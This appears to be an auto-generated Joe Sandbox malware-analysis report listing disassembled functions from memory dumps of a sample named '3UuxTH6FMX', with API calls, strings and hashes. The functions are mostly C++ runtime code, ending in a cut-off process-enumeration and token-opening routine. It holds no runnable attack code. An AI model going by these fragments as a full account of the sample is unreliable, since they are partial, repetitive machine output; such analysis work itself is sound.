Negative precision., xrefs: 00007FF7AA112CA4
Number is too big., xrefs: 00007FF7AA112CB1

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_invalid_parameter_noinfo_noreturn
String ID: Negative precision.$Number is too big.
API String ID: 3237623162-3993994484
Opcode ID: 2e590a375d060733ee75977b5fbcb890a63a34b04a77b8ee94e83729f6395454
Instruction ID: b23c2dd31baee8ff2612c1512caa8f749a3e7f939c734e019a07e310127dcc49
Opcode Fuzzy Hash: 2e590a375d060733ee75977b5fbcb890a63a34b04a77b8ee94e83729f6395454
Instruction Fuzzy Hash: E51103A2C092479FFA5B7670D45A1F9A760EF61311FD30DB8E268058B3BD5D35074760

Function 00007FF7AA112C9E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AA112D40: std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112D4B

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112CAB
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112CB8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA112CF4

Strings

Negative precision., xrefs: 00007FF7AA112CA4
Number is too big., xrefs: 00007FF7AA112CB1

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_invalid_parameter_noinfo_noreturn
String ID: Negative precision.$Number is too big.
API String ID: 3237623162-3993994484
Opcode ID: 30b3e07375628a7fdd50f8a96e8b54408dbdebe0d25ebebc578ccc02e897b34b
Instruction ID: e183ccab78eaf4a6c87e1c24bf27a610bcc06b61179335d17110d092d41865a0
Opcode Fuzzy Hash: 30b3e07375628a7fdd50f8a96e8b54408dbdebe0d25ebebc578ccc02e897b34b
Instruction Fuzzy Hash: 9501C3A2C092479FFA4B7670D45A1FAA761EF61601FD30DB8E25805CB3AD1D35074760

Function 00007FF7AA112B4F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112B7B
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112B88
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA112BC4

Strings

Negative width., xrefs: 00007FF7AA112B74
Number is too big., xrefs: 00007FF7AA112B81

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_invalid_parameter_noinfo_noreturn
String ID: Negative width.$Number is too big.
API String ID: 3237623162-1861685508
Opcode ID: ab522acd4c4287a77fe2f3903c82615eb3740f229d610c7ff32e5c8d09b42faf
Instruction ID: 551cb3159bbe6a1f4dcf43e3559004b9a7173bd754d754217bc9faae986b2863
Opcode Fuzzy Hash: ab522acd4c4287a77fe2f3903c82615eb3740f229d610c7ff32e5c8d09b42faf
Instruction Fuzzy Hash: 4411603290E147DFF216BB78E54A5ADBE709F41704FB50EB9D7A8028A3DE1D70528711

Function 00007FF7AA112B6E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7AA112C10: std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112C1B

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112B7B
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112B88
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA112BC4

Strings

Negative width., xrefs: 00007FF7AA112B74
Number is too big., xrefs: 00007FF7AA112B81

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_invalid_parameter_noinfo_noreturn
String ID: Negative width.$Number is too big.
API String ID: 3237623162-1861685508
Opcode ID: 63d12b850ce4f7623b80e1b60c009f5eeb9bfdff3b4fb586ff0ffa458465622f
Instruction ID: c984bad04a972c630c7482739a1396e8e9b66145322bc256cccf41e86164cfe2
Opcode Fuzzy Hash: 63d12b850ce4f7623b80e1b60c009f5eeb9bfdff3b4fb586ff0ffa458465622f
Instruction Fuzzy Hash: 53114F3250E187DFF206FB78E41A5ADBF709F41604BB24DB9DB98428A3DE1D70928751

Function 00000218BFBF32C8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000218BFBF32ED
GetProcAddress.KERNEL32 ref: 00000218BFBF3303
FreeLibrary.KERNEL32 ref: 00000218BFBF332A

Strings

CorExitProcess, xrefs: 00000218BFBF32FC
mscoree.dll, xrefs: 00000218BFBF32E4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: db481cee700add6652efbd16517b6fad29b9a19914f0d4d044d41ba2919793f2
Instruction ID: 9ff8fcc60c2d45ad09d7340b9bdc2d093af1b1fd6dd1ea3b7287a4d4793aeb02
Opcode Fuzzy Hash: db481cee700add6652efbd16517b6fad29b9a19914f0d4d044d41ba2919793f2
Instruction Fuzzy Hash: 01F0623130875082FB108F24E4DC7EE5360EBA9769F941615CAAAC66E4CF2CCAD9C300

Function 00000218BFBEF4D8 Relevance: 7.7, APIs: 5, Instructions: 196COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000218BFBEF517
_set_statfp.LIBCMT ref: 00000218BFBEF535
_set_statfp.LIBCMT ref: 00000218BFBEF55E
_set_statfp.LIBCMT ref: 00000218BFBEF79A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 5459f65f4676636fdc901623b58b7eba5cdeda63d87ce883b5aed9902fe8fe9f
Instruction ID: 808f3dbc3b0a430e5688edb40fbbf0a1d4410f48ec77d586881a8630ae051145
Opcode Fuzzy Hash: 5459f65f4676636fdc901623b58b7eba5cdeda63d87ce883b5aed9902fe8fe9f
Instruction Fuzzy Hash: 5481063650CA9486F3728F34A4D83EE63A1EB7539CF144B01AE66A65E5DF34CF918E00

Function 00000218BFBE843C Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000218BFBDF8AF,?,?,00000000,00000218BFBDFB4A,?,?,?,?,-2891666E48DAA7FF,00000218BFBDFAD6), ref: 00000218BFBE845B
FlsSetValue.KERNEL32(?,?,?,00000218BFBDF8AF,?,?,00000000,00000218BFBDFB4A,?,?,?,?,-2891666E48DAA7FF,00000218BFBDFAD6), ref: 00000218BFBE847A
FlsSetValue.KERNEL32(?,?,?,00000218BFBDF8AF,?,?,00000000,00000218BFBDFB4A,?,?,?,?,-2891666E48DAA7FF,00000218BFBDFAD6), ref: 00000218BFBE84A2
FlsSetValue.KERNEL32(?,?,?,00000218BFBDF8AF,?,?,00000000,00000218BFBDFB4A,?,?,?,?,-2891666E48DAA7FF,00000218BFBDFAD6), ref: 00000218BFBE84B3
FlsSetValue.KERNEL32(?,?,?,00000218BFBDF8AF,?,?,00000000,00000218BFBDFB4A,?,?,?,?,-2891666E48DAA7FF,00000218BFBDFAD6), ref: 00000218BFBE84C4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6807ba57bb3b06937b050f8d70852554bcff7810743d691f316d628e86d8f360
Instruction ID: e57e6da4488f533153aa5af95ecaef4255e81106327e0e99c746f752e605d5b9
Opcode Fuzzy Hash: 6807ba57bb3b06937b050f8d70852554bcff7810743d691f316d628e86d8f360
Instruction Fuzzy Hash: F611633030D64042FB59932566D93FD63529B643FCF048B25A939D67D6DF28DF468B00

Function 00007FF7AA120C3C Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7AA12003F,?,?,00000000,00007FF7AA1202DA,?,?,?,?,?,00007FF7AA120266), ref: 00007FF7AA120C5B
FlsSetValue.KERNEL32(?,?,?,00007FF7AA12003F,?,?,00000000,00007FF7AA1202DA,?,?,?,?,?,00007FF7AA120266), ref: 00007FF7AA120C7A
FlsSetValue.KERNEL32(?,?,?,00007FF7AA12003F,?,?,00000000,00007FF7AA1202DA,?,?,?,?,?,00007FF7AA120266), ref: 00007FF7AA120CA2
FlsSetValue.KERNEL32(?,?,?,00007FF7AA12003F,?,?,00000000,00007FF7AA1202DA,?,?,?,?,?,00007FF7AA120266), ref: 00007FF7AA120CB3
FlsSetValue.KERNEL32(?,?,?,00007FF7AA12003F,?,?,00000000,00007FF7AA1202DA,?,?,?,?,?,00007FF7AA120266), ref: 00007FF7AA120CC4

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: a81210357f2d12b0dbfe06c4392c56b8a615d5a3cfef92a64af55cf6380a756d
Instruction ID: bdec9d54f73e67d67c6ea612517d9aaa194d923669cf56572ebf55851f5532fb
Opcode Fuzzy Hash: a81210357f2d12b0dbfe06c4392c56b8a615d5a3cfef92a64af55cf6380a756d
Instruction Fuzzy Hash: E6119D50B0A642D1FA9A7331F991139E1A15F847F0F8643F4E82D066F6EE2CF81B8320

Function 00000218BFBE82D0 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00000218BFBE82E1
FlsSetValue.KERNEL32 ref: 00000218BFBE8300
FlsSetValue.KERNEL32 ref: 00000218BFBE8328
FlsSetValue.KERNEL32 ref: 00000218BFBE8339
FlsSetValue.KERNEL32 ref: 00000218BFBE834A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: c208534474bee3dbacb877acd3411bee42b0ed125ca7fa5af14e4c9113acc209
Instruction ID: eaa1add41f304ce360d33b7982566a161948b0d7e1fa4c459c4fd40f5ed1c9fd
Opcode Fuzzy Hash: c208534474bee3dbacb877acd3411bee42b0ed125ca7fa5af14e4c9113acc209
Instruction Fuzzy Hash: A5111E7020D60506FB68A33554ED3FD23825B7577CF184F24A939DA2D3EE29DF429A00

Function 00007FF7AA1102F0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 340COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA1107B6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA1107BC
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA1107C9

Strings

integral cannot be stored in char, xrefs: 00007FF7AA1107C2

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: integral cannot be stored in char
API String ID: 4097890229-960316848
Opcode ID: d3fa661c7909c31f2df10136174ae6b23e08351e8602a3bf3b77da77346b9ec4
Instruction ID: 87e93f57a030370f45c3f3b8510c6b625a4d599b6590d13a6e63387c8535b56b
Opcode Fuzzy Hash: d3fa661c7909c31f2df10136174ae6b23e08351e8602a3bf3b77da77346b9ec4
Instruction Fuzzy Hash: F9E1EF22F09B91D9FB51DB68E4403ECB7B1BB45348F914279DE8D13AA9DF38A482C710

Function 00007FF7AA1115D0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 333COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA111A76
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA111A7C
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA111A89

Strings

integral cannot be stored in char, xrefs: 00007FF7AA111A82

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: integral cannot be stored in char
API String ID: 4097890229-960316848
Opcode ID: 73f37ea3a65df646b8d9a74c0d95f76a994af0d7590115819a880ecab22728cb
Instruction ID: 74a4d1b4d4402accf13a1f72268dc6b174e242afc3ecaab86096d0f9ccdb2a4e
Opcode Fuzzy Hash: 73f37ea3a65df646b8d9a74c0d95f76a994af0d7590115819a880ecab22728cb
Instruction Fuzzy Hash: F3E1FF22E09B91D9FB11DBA4E4403ECB7B1BB45348F85427DDA9D17BA9EF389482C310

Function 00007FF7AA10FC80 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 315COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA1100E9

Strings

integral cannot be stored in char, xrefs: 00007FF7AA1100E2

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: integral cannot be stored in char
API String ID: 909987262-960316848
Opcode ID: 798eccc9fbd753bed3f49468c2a2aa55f5ebd2e469281c1ab0b60e4ad41c59eb
Instruction ID: 6c31be783bfd38e7b55f3f0d0ed3d75a8aef8f2806aad864fc1031972d5e59e2
Opcode Fuzzy Hash: 798eccc9fbd753bed3f49468c2a2aa55f5ebd2e469281c1ab0b60e4ad41c59eb
Instruction Fuzzy Hash: E0D1DE22E09B81D9FB11DB78E4403FCB7B1BB45348FA14275DA9D17AA9DF389486C350

Function 00000218BFB96510 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFB96580
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00000218BFB965C8
_Getcoll.LIBCPMT ref: 00000218BFB965FC

Strings

bad locale name, xrefs: 00000218BFB96701

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: std::_$GetcollLocinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1287851536-1405518554
Opcode ID: bee632596d628f6d30632f95a3c6143d465c0bf5a7ccc700b9bdb5d3abed2197
Instruction ID: 8ed0005e152d83d14eed141bc51f9161038d799a98cbb9a69e055819158c3d53
Opcode Fuzzy Hash: bee632596d628f6d30632f95a3c6143d465c0bf5a7ccc700b9bdb5d3abed2197
Instruction Fuzzy Hash: 2B918F32705B808AFF14DFB5D8943DC3362EB6478CF448529DA5D97B9ADE38CA918344

Function 00000218BFC0D3EC Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFC0D6CB

Part of subcall function 00000218BFBFA7BC: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBFA7D9

Strings

UTF-8, xrefs: 00000218BFC0D64A
UTF-16LEUNICODE, xrefs: 00000218BFC0D669
ccs, xrefs: 00000218BFC0D606

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: c93d0c80d14289c47e4e012ab7823fd63e1d2ef69c6c82be7162492af36b69b4
Instruction ID: 494eb8ca220622bf0adb1e96abe41483fa39dd28fcf268fdd87cc91509d7a784
Opcode Fuzzy Hash: c93d0c80d14289c47e4e012ab7823fd63e1d2ef69c6c82be7162492af36b69b4
Instruction Fuzzy Hash: B7817EB2A0C62085FB654F3991F83FD37A0AB31B5CF559405DE06D72A5DF29CA839B01

Function 00007FF7AA10E410 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA10E63F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA10E645

Strings

true, xrefs: 00007FF7AA10E5D8
false, xrefs: 00007FF7AA10E5DF

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: false$true
API String ID: 3668304517-2658103896
Opcode ID: c23aa86301010fbc63903a689a8f217cc4f8b4650af5b1d90549298ac87a62d0
Instruction ID: 6b068894825a34d0d19f19553cc46cc71c697623f05c066971333db17258224e
Opcode Fuzzy Hash: c23aa86301010fbc63903a689a8f217cc4f8b4650af5b1d90549298ac87a62d0
Instruction Fuzzy Hash: CD61C222F0AA85D8FA02EB69F4013BCB371AB84768F924675DE5D567E9DF389047C310

Function 00000218BFBA9E10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFBA9FF0
__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFBA9FFD

Strings

, column , xrefs: 00000218BFBA9EC8
at line , xrefs: 00000218BFBA9E9A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: __std_exception_destroy
String ID: at line $, column
API String ID: 2453523683-191570568
Opcode ID: 4a88d01dc7a91aa210aab958555521cb2f93c79a3063fee867bce04a00eed6de
Instruction ID: 502e34d33234dc89da8039a6b6d3d7cce59e1896697465e20dc563414fa5c8f0
Opcode Fuzzy Hash: 4a88d01dc7a91aa210aab958555521cb2f93c79a3063fee867bce04a00eed6de
Instruction Fuzzy Hash: 0751D77260874081EA10DF2AE5C83DE7761F7A5BD8F508211EBA847BDADF39DA91C340

Function 00000218BFB7C910 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFB7C97F
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00000218BFB7C9C7
_Getctype.LIBCPMT ref: 00000218BFB7CA05

Strings

bad locale name, xrefs: 00000218BFB7CABE

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: std::_$GetctypeLocinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1612978173-1405518554
Opcode ID: 892321993a6b8f510d49293f97be47cb2852b258aa81509cd5633692957d1b5e
Instruction ID: 0d7a2c21e9284c053a09ac6f867c9bfdd0d55de1be3deceeb9bc3df586a40c5d
Opcode Fuzzy Hash: 892321993a6b8f510d49293f97be47cb2852b258aa81509cd5633692957d1b5e
Instruction Fuzzy Hash: 69517B3270AB408AFB11CF70E4943EC37B5EB6474CF444429DE89A6A9ADF34CA66D344

Function 00000218BFBD0F00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00000218BFBD0F8B

Strings

?, xrefs: 00000218BFBD0F40

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Open
String ID: ?
API String ID: 71445658-1684325040
Opcode ID: d2e39a7b3a77283be8c37f1e95bdb427cc83583d19a6f60775d9edee1f3af3dd
Instruction ID: b70c26cc393bb50d7d221523f817a031174109a5a61110b8b8fb3f8b13891427
Opcode Fuzzy Hash: d2e39a7b3a77283be8c37f1e95bdb427cc83583d19a6f60775d9edee1f3af3dd
Instruction Fuzzy Hash: 9541C67261C78482EB60CB25F4C439EB760F7A97D8F505215FB9982A99DF3CC694CB40

Function 00000218BFC09520 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000218BFC09536
GetProcAddress.KERNEL32 ref: 00000218BFC09546

Strings

kernel32.dll, xrefs: 00000218BFC0952F
GetTempPath2W, xrefs: 00000218BFC0953C

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetTempPath2W$kernel32.dll
API String ID: 1646373207-1846531799
Opcode ID: 54cfff917e61736e637f3daaf4ede8ca0052c6a8694a4254edfc7bf5cdf1c370
Instruction ID: 9fa966e0bb90f011c04960b711b29233ffdec573f0d52f609c49fa8eb56e4545
Opcode Fuzzy Hash: 54cfff917e61736e637f3daaf4ede8ca0052c6a8694a4254edfc7bf5cdf1c370
Instruction Fuzzy Hash: 4BE0ED31708A5582EE049F11F9E85ED6361F799B89F585025D91E87B34DE7CC6C5C700

Function 00000218BFBBF480 Relevance: 6.5, APIs: 4, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00000218BFBBED30: CreateToolhelp32Snapshot.KERNEL32 ref: 00000218BFBBED86
Part of subcall function 00000218BFBBED30: Process32FirstW.KERNEL32 ref: 00000218BFBBEDCA
Part of subcall function 00000218BFBBED30: Process32NextW.KERNEL32 ref: 00000218BFBBEDDF
Part of subcall function 00000218BFBBED30: OpenProcess.KERNEL32 ref: 00000218BFBBEE1B
Part of subcall function 00000218BFBBED30: OpenProcessToken.ADVAPI32 ref: 00000218BFBBEE42
